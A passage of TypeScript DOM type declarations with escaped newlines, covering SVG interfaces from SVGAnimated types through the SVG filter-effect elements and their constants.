SVGAngle;\\n}\\n\\ndeclare var SVGAnimatedAngle: {\\n    prototype: SVGAnimatedAngle;\\n    new(): SVGAnimatedAngle;\\n};\\n\\ninterface SVGAnimatedBoolean {\\n    readonly animVal: boolean;\\n    baseVal: boolean;\\n}\\n\\ndeclare var SVGAnimatedBoolean: {\\n    prototype: SVGAnimatedBoolean;\\n    new(): SVGAnimatedBoolean;\\n};\\n\\ninterface SVGAnimatedEnumeration {\\n    readonly animVal: number;\\n    baseVal: number;\\n}\\n\\ndeclare var SVGAnimatedEnumeration: {\\n    prototype: SVGAnimatedEnumeration;\\n    new(): SVGAnimatedEnumeration;\\n};\\n\\ninterface SVGAnimatedInteger {\\n    readonly animVal: number;\\n    baseVal: number;\\n}\\n\\ndeclare var SVGAnimatedInteger: {\\n    prototype: SVGAnimatedInteger;\\n    new(): SVGAnimatedInteger;\\n};\\n\\ninterface SVGAnimatedLength {\\n    readonly animVal: SVGLength;\\n    readonly baseVal: SVGLength;\\n}\\n\\ndeclare var SVGAnimatedLength: {\\n    prototype: SVGAnimatedLength;\\n    new(): SVGAnimatedLength;\\n};\\n\\ninterface SVGAnimatedLengthList {\\n    readonly animVal: SVGLengthList;\\n    readonly baseVal: SVGLengthList;\\n}\\n\\ndeclare var SVGAnimatedLengthList: {\\n    prototype: SVGAnimatedLengthList;\\n    new(): SVGAnimatedLengthList;\\n};\\n\\ninterface SVGAnimatedNumber {\\n    readonly animVal: number;\\n    baseVal: number;\\n}\\n\\ndeclare var SVGAnimatedNumber: {\\n    prototype: SVGAnimatedNumber;\\n    new(): SVGAnimatedNumber;\\n};\\n\\ninterface SVGAnimatedNumberList {\\n    readonly animVal: SVGNumberList;\\n    readonly baseVal: SVGNumberList;\\n}\\n\\ndeclare var SVGAnimatedNumberList: {\\n    prototype: SVGAnimatedNumberList;\\n    new(): SVGAnimatedNumberList;\\n};\\n\\ninterface SVGAnimatedPreserveAspectRatio {\\n    readonly animVal: SVGPreserveAspectRatio;\\n    readonly baseVal: SVGPreserveAspectRatio;\\n}\\n\\ndeclare var SVGAnimatedPreserveAspectRatio: {\\n    prototype: SVGAnimatedPreserveAspectRatio;\\n    new(): SVGAnimatedPreserveAspectRatio;\\n};\\n\\ninterface SVGAnimatedRect {\\n    readonly animVal: SVGRect;\\n    readonly baseVal: SVGRect;\\n}\\n\\ndeclare var SVGAnimatedRect: {\\n    prototype: SVGAnimatedRect;\\n    new(): SVGAnimatedRect;\\n};\\n\\ninterface SVGAnimatedString {\\n    readonly animVal: string;\\n    baseVal: string;\\n}\\n\\ndeclare var SVGAnimatedString: {\\n    prototype: SVGAnimatedString;\\n    new(): SVGAnimatedString;\\n};\\n\\ninterface SVGAnimatedTransformList {\\n    readonly animVal: SVGTransformList;\\n    readonly baseVal: SVGTransformList;\\n}\\n\\ndeclare var SVGAnimatedTransformList: {\\n    prototype: SVGAnimatedTransformList;\\n    new(): SVGAnimatedTransformList;\\n};\\n\\ninterface SVGCircleElement extends SVGGraphicsElement {\\n    readonly cx: SVGAnimatedLength;\\n    readonly cy: SVGAnimatedLength;\\n    readonly r: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGCircleElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGCircleElement: {\\n    prototype: SVGCircleElement;\\n    new(): SVGCircleElement;\\n};\\n\\ninterface SVGClipPathElement extends SVGGraphicsElement, SVGUnitTypes {\\n    readonly clipPathUnits: SVGAnimatedEnumeration;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGClipPathElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGClipPathElement: {\\n    prototype: SVGClipPathElement;\\n    new(): SVGClipPathElement;\\n};\\n\\ninterface SVGComponentTransferFunctionElement extends SVGElement {\\n    readonly amplitude: SVGAnimatedNumber;\\n    readonly exponent: SVGAnimatedNumber;\\n    readonly intercept: SVGAnimatedNumber;\\n    readonly offset: SVGAnimatedNumber;\\n    readonly slope: SVGAnimatedNumber;\\n    readonly tableValues: SVGAnimatedNumberList;\\n    readonly type: SVGAnimatedEnumeration;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_GAMMA: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_LINEAR: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_TABLE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGComponentTransferFunctionElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGComponentTransferFunctionElement: {\\n    prototype: SVGComponentTransferFunctionElement;\\n    new(): SVGComponentTransferFunctionElement;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_GAMMA: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_LINEAR: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_TABLE: number;\\n    readonly SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGDefsElement extends SVGGraphicsElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGDefsElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGDefsElement: {\\n    prototype: SVGDefsElement;\\n    new(): SVGDefsElement;\\n};\\n\\ninterface SVGDescElement extends SVGElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGDescElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGDescElement: {\\n    prototype: SVGDescElement;\\n    new(): SVGDescElement;\\n};\\n\\ninterface SVGElementEventMap extends ElementEventMap {\\n    \"click\": MouseEvent;\\n    \"dblclick\": MouseEvent;\\n    \"focusin\": FocusEvent;\\n    \"focusout\": FocusEvent;\\n    \"load\": Event;\\n    \"mousedown\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n}\\n\\ninterface SVGElement extends Element {\\n    className: any;\\n    onclick: (this: SVGElement, ev: MouseEvent) => any;\\n    ondblclick: (this: SVGElement, ev: MouseEvent) => any;\\n    onfocusin: (this: SVGElement, ev: FocusEvent) => any;\\n    onfocusout: (this: SVGElement, ev: FocusEvent) => any;\\n    onload: (this: SVGElement, ev: Event) => any;\\n    onmousedown: (this: SVGElement, ev: MouseEvent) => any;\\n    onmousemove: (this: SVGElement, ev: MouseEvent) => any;\\n    onmouseout: (this: SVGElement, ev: MouseEvent) => any;\\n    onmouseover: (this: SVGElement, ev: MouseEvent) => any;\\n    onmouseup: (this: SVGElement, ev: MouseEvent) => any;\\n    readonly ownerSVGElement: SVGSVGElement;\\n    readonly style: CSSStyleDeclaration;\\n    readonly viewportElement: SVGElement;\\n    xmlbase: string;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGElement: {\\n    prototype: SVGElement;\\n    new(): SVGElement;\\n};\\n\\ninterface SVGElementInstance extends EventTarget {\\n    readonly childNodes: SVGElementInstanceList;\\n    readonly correspondingElement: SVGElement;\\n    readonly correspondingUseElement: SVGUseElement;\\n    readonly firstChild: SVGElementInstance;\\n    readonly lastChild: SVGElementInstance;\\n    readonly nextSibling: SVGElementInstance;\\n    readonly parentNode: SVGElementInstance;\\n    readonly previousSibling: SVGElementInstance;\\n}\\n\\ndeclare var SVGElementInstance: {\\n    prototype: SVGElementInstance;\\n    new(): SVGElementInstance;\\n};\\n\\ninterface SVGElementInstanceList {\\n    readonly length: number;\\n    item(index: number): SVGElementInstance;\\n}\\n\\ndeclare var SVGElementInstanceList: {\\n    prototype: SVGElementInstanceList;\\n    new(): SVGElementInstanceList;\\n};\\n\\ninterface SVGEllipseElement extends SVGGraphicsElement {\\n    readonly cx: SVGAnimatedLength;\\n    readonly cy: SVGAnimatedLength;\\n    readonly rx: SVGAnimatedLength;\\n    readonly ry: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGEllipseElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGEllipseElement: {\\n    prototype: SVGEllipseElement;\\n    new(): SVGEllipseElement;\\n};\\n\\ninterface SVGFEBlendElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly in2: SVGAnimatedString;\\n    readonly mode: SVGAnimatedEnumeration;\\n    readonly SVG_FEBLEND_MODE_COLOR: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_BURN: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_DODGE: number;\\n    readonly SVG_FEBLEND_MODE_DARKEN: number;\\n    readonly SVG_FEBLEND_MODE_DIFFERENCE: number;\\n    readonly SVG_FEBLEND_MODE_EXCLUSION: number;\\n    readonly SVG_FEBLEND_MODE_HARD_LIGHT: number;\\n    readonly SVG_FEBLEND_MODE_HUE: number;\\n    readonly SVG_FEBLEND_MODE_LIGHTEN: number;\\n    readonly SVG_FEBLEND_MODE_LUMINOSITY: number;\\n    readonly SVG_FEBLEND_MODE_MULTIPLY: number;\\n    readonly SVG_FEBLEND_MODE_NORMAL: number;\\n    readonly SVG_FEBLEND_MODE_OVERLAY: number;\\n    readonly SVG_FEBLEND_MODE_SATURATION: number;\\n    readonly SVG_FEBLEND_MODE_SCREEN: number;\\n    readonly SVG_FEBLEND_MODE_SOFT_LIGHT: number;\\n    readonly SVG_FEBLEND_MODE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEBlendElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEBlendElement: {\\n    prototype: SVGFEBlendElement;\\n    new(): SVGFEBlendElement;\\n    readonly SVG_FEBLEND_MODE_COLOR: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_BURN: number;\\n    readonly SVG_FEBLEND_MODE_COLOR_DODGE: number;\\n    readonly SVG_FEBLEND_MODE_DARKEN: number;\\n    readonly SVG_FEBLEND_MODE_DIFFERENCE: number;\\n    readonly SVG_FEBLEND_MODE_EXCLUSION: number;\\n    readonly SVG_FEBLEND_MODE_HARD_LIGHT: number;\\n    readonly SVG_FEBLEND_MODE_HUE: number;\\n    readonly SVG_FEBLEND_MODE_LIGHTEN: number;\\n    readonly SVG_FEBLEND_MODE_LUMINOSITY: number;\\n    readonly SVG_FEBLEND_MODE_MULTIPLY: number;\\n    readonly SVG_FEBLEND_MODE_NORMAL: number;\\n    readonly SVG_FEBLEND_MODE_OVERLAY: number;\\n    readonly SVG_FEBLEND_MODE_SATURATION: number;\\n    readonly SVG_FEBLEND_MODE_SCREEN: number;\\n    readonly SVG_FEBLEND_MODE_SOFT_LIGHT: number;\\n    readonly SVG_FEBLEND_MODE_UNKNOWN: number;\\n};\\n\\ninterface SVGFEColorMatrixElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly type: SVGAnimatedEnumeration;\\n    readonly values: SVGAnimatedNumberList;\\n    readonly SVG_FECOLORMATRIX_TYPE_HUEROTATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_MATRIX: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_SATURATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEColorMatrixElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEColorMatrixElement: {\\n    prototype: SVGFEColorMatrixElement;\\n    new(): SVGFEColorMatrixElement;\\n    readonly SVG_FECOLORMATRIX_TYPE_HUEROTATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_MATRIX: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_SATURATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGFEComponentTransferElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEComponentTransferElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEComponentTransferElement: {\\n    prototype: SVGFEComponentTransferElement;\\n    new(): SVGFEComponentTransferElement;\\n};\\n\\ninterface SVGFECompositeElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly in2: SVGAnimatedString;\\n    readonly k1: SVGAnimatedNumber;\\n    readonly k2: SVGAnimatedNumber;\\n    readonly k3: SVGAnimatedNumber;\\n    readonly k4: SVGAnimatedNumber;\\n    readonly operator: SVGAnimatedEnumeration;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ARITHMETIC: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ATOP: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_IN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OUT: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OVER: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_UNKNOWN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_XOR: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFECompositeElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFECompositeElement: {\\n    prototype: SVGFECompositeElement;\\n    new(): SVGFECompositeElement;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ARITHMETIC: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ATOP: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_IN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OUT: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OVER: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_UNKNOWN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_XOR: number;\\n};\\n\\ninterface SVGFEConvolveMatrixElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly bias: SVGAnimatedNumber;\\n    readonly divisor: SVGAnimatedNumber;\\n    readonly edgeMode: SVGAnimatedEnumeration;\\n    readonly in1: SVGAnimatedString;\\n    readonly kernelMatrix: SVGAnimatedNumberList;\\n    readonly kernelUnitLengthX: SVGAnimatedNumber;\\n    readonly kernelUnitLengthY: SVGAnimatedNumber;\\n    readonly orderX: SVGAnimatedInteger;\\n    readonly orderY: SVGAnimatedInteger;\\n    readonly preserveAlpha: SVGAnimatedBoolean;\\n    readonly targetX: SVGAnimatedInteger;\\n    readonly targetY: SVGAnimatedInteger;\\n    readonly SVG_EDGEMODE_DUPLICATE: number;\\n    readonly SVG_EDGEMODE_NONE: number;\\n    readonly SVG_EDGEMODE_UNKNOWN: number;\\n    readonly SVG_EDGEMODE_WRAP: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEConvolveMatrixElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEConvolveMatrixElement: {\\n    prototype: SVGFEConvolveMatrixElement;\\n    new(): SVGFEConvolveMatrixElement;\\n    readonly SVG_EDGEMODE_DUPLICATE: number;\\n    readonly SVG_EDGEMODE_NONE: number;\\n    readonly SVG_EDGEMODE_UNKNOWN: number;\\n    readonly SVG_EDGEMODE_WRAP: number;\\n};\\n\\ninterface SVGFEDiffuseLightingElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly diffuseConstant: SVGAnimatedNumber;\\n    readonly in1: SVGAnimatedString;\\n    readonly kernelUnitLengthX: SVGAnimatedNumber;\\n    readonly kernelUnitLengthY: SVGAnimatedNumber;\\n    readonly surfaceScale: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEDiffuseLightingElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEDiffuseLightingElement: {\\n    prototype: SVGFEDiffuseLightingElement;\\n    new(): SVGFEDiffuseLightingElement;\\n};\\n\\ninterface SVGFEDisplacementMapElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly in2: SVGAnimatedString;\\n    readonly scale: SVGAnimatedNumber;\\n    readonly xChannelSelector: SVGAnimatedEnumeration;\\n    readonly yChannelSelector: SVGAnimatedEnumeration;\\n    readonly SVG_CHANNEL_A: number;\\n    readonly SVG_CHANNEL_B: number;\\n    readonly SVG_CHANNEL_G: number;\\n    readonly SVG_CHANNEL_R: number;\\n    readonly SVG_CHANNEL_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEDisplacementMapElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEDisplacementMapElement: {\\n    prototype: SVGFEDisplacementMapElement;\\n    new(): SVGFEDisplacementMapElement;\\n    readonly SVG_CHANNEL_A: number;\\n    readonly SVG_CHANNEL_B: number;\\n    readonly SVG_CHANNEL_G: number;\\n    readonly SVG_CHANNEL_R: number;\\n    readonly SVG_CHANNEL_UNKNOWN: number;\\n};\\n\\ninterface SVGFEDistantLightElement extends SVGElement {\\n    readonly azimuth: SVGAnimatedNumber;\\n    readonly elevation: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEDistantLightElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEDistantLightElement: {\\n    prototype: SVGFEDistantLightElement;\\n    new(): SVGFEDistantLightElement;\\n};\\n\\ninterface SVGFEFloodElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFloodElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFloodElement: {\\n    prototype: SVGFEFloodElement;\\n    new(): SVGFEFloodElement;\\n};\\n\\ninterface SVGFEFuncAElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncAElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncAElement: {\\n    prototype: SVGFEFuncAElement;\\n    new(): SVGFEFuncAElement;\\n};\\n\\ninterface SVGFEFuncBElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncBElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncBElement: {\\n    prototype: SVGFEFuncBElement;\\n    new(): SVGFEFuncBElement;\\n};\\n\\ninterface SVGFEFuncGElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncGElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncGElement: {\\n    prototype: SVGFEFuncGElement;\\n    new(): SVGFEFuncGElement;\\n};\\n\\ninterface SVGFEFuncRElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncRElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncRElement: {\\n    prototype: SVGFEFuncRElement;\\n    new(): SVGFEFuncRElement;\\n};\\n\\ninterface SVGFEGaussianBlurElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly stdDeviationX: SVGAnimatedNumber;\\n    readonly stdDeviationY: SVGAnimatedNumber;\\n    setStdDeviation(stdDeviationX: number, stdDeviationY: number): void;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEGaussianBlurElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEGaussianBlurElement: {\\n    prototype: SVGFEGaussianBlurElement;\\n    new(): SVGFEGaussianBlurElement;\\n};\\n\\ninterface SVGFEImageElement extends SVGElement, SVGFilterPrimitiveStandardAttributes, SVGURIReference {\\n    readonly preserveAspectRatio: SVGAnimatedPreserveAspectRatio;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEImageElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEImageElement: {\\n    prototype: SVGFEImageElement;\\n    new(): SVGFEImageElement;\\n};\\n\\ninterface SVGFEMergeElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEMergeElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEMergeElement: {\\n    prototype: SVGFEMergeElement;\\n    new(): SVGFEMergeElement;\\n};\\n\\ninterface SVGFEMergeNodeElement extends SVGElement {\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEMergeNodeElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEMergeNodeElement: {\\n    prototype: SVGFEMergeNodeElement;\\n    new(): SVGFEMergeNodeElement;\\n};\\n\\ninterface SVGFEMorphologyElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly operator: SVGAnimatedEnumeration;\\n    readonly radiusX: SVGAnimatedNumber;\\n    readonly radiusY: SVGAnimatedNumber;\\n    readonly SVG_MORPHOLOGY_OPERATOR_DILATE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_ERODE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEMorphologyElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEMorphologyElement: {\\n    prototype: SVGFEMorphologyElement;\\n    new(): SVGFEMorphologyElement;\\n    readonly SVG_MORPHOLOGY_OPERATOR_DILATE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_ERODE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_UNKNOWN: number;\\n};\\n\\ninterface SVGFEOffsetElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly dx: SVGAnimatedNumber;\\n    readonly dy: SVGAnimatedNumber;\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEOffsetElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEOffsetElement: {\\n    prototype: SVGFEOffsetElement;\\n    new(): SVGFEOffsetElement;\\n};\\n\\ninterface SVGFEPointLightElement extends SVGElement {\\n    readonly x: SVGAnimatedNumber;\\n    readonly y: SVGAnimatedNumber;\\n    readonly z: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEPointLightElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEPointLightElement: {\\n    prototype: SVGFEPointLightElement;\\n    new(): SVGFEPointLightElement;\\n};\\n\\ninterface SVGFESpecularLightingElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly kernelUnitLengthX: SVGAnimatedNumber;\\n    readonly kernelUnitLengthY: SVGAnimatedNumber;\\n    readonly specularConstant: SVGAnimatedNumber;\\n    readonly specularExponent: SVGAnimatedNumber;\\n    readonly surfaceScale: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFESpecularLightingElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFESpecularLightingElement: {\\n    prototype: SVGFESpecularLightingElement;\\n    new(): SVGFESpecularLightingElement;\\n};\\n\\ninterface SVGFESpotLightElement extends SVGElement {\\n    readonly limitingConeAngle: SVGAnimatedNumber;\\n    readonly pointsAtX: SVGAnimatedNumber;\\n    readonly pointsAtY: SVGAnimatedNumber;\\n    readonly pointsAtZ: SVGAnimatedNumber;\\n    readonly specularExponent: SVGAnimatedNumber;\\n    readonly x: SVGAnimatedNumber;\\n    readonly y: SVGAnimatedNumber;\\n    readonly z: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFESpotLightElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFESpotLightElement: {\\n    prototype: SVGFESpotLightElement;\\n    new(): SVGFESpotLightElement;\\n};\\n\\ninterface SVGFETileElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFETileElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFETileElement: {\\n    prototype: SVGFETileElement;\\n    new(): SVGFETileElement;\\n};\\n\\ninterface SVGFETurbulenceElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly baseFrequencyX: SVGAnimatedNumber;\\n    readonly baseFrequencyY: SVGAnimatedNumber;\\n    readonly numOctaves: SVGAnimatedInteger;\\n    readonly seed: SVGAnimatedNumber;\\n    readonly stitchTiles: SVGAnimatedEnumeration;\\n    readonly type: SVGAnimatedEnumeration;\\n    readonly SVG_STITCHTYPE_NOSTITCH: number;\\n    readonly SVG_STITCHTYPE_STITCH: number;\\n    readonly SVG_STITCHTYPE_UNKNOWN: number;\\n    readonly SVG_TURBULENCE_TYPE_FRACTALNOISE: number;\\n    readonly SVG_TURBULENCE_TYPE_TURBULENCE: number;\\n    readonly SVG_TURBULENCE_TYPE_UNKNOWN: 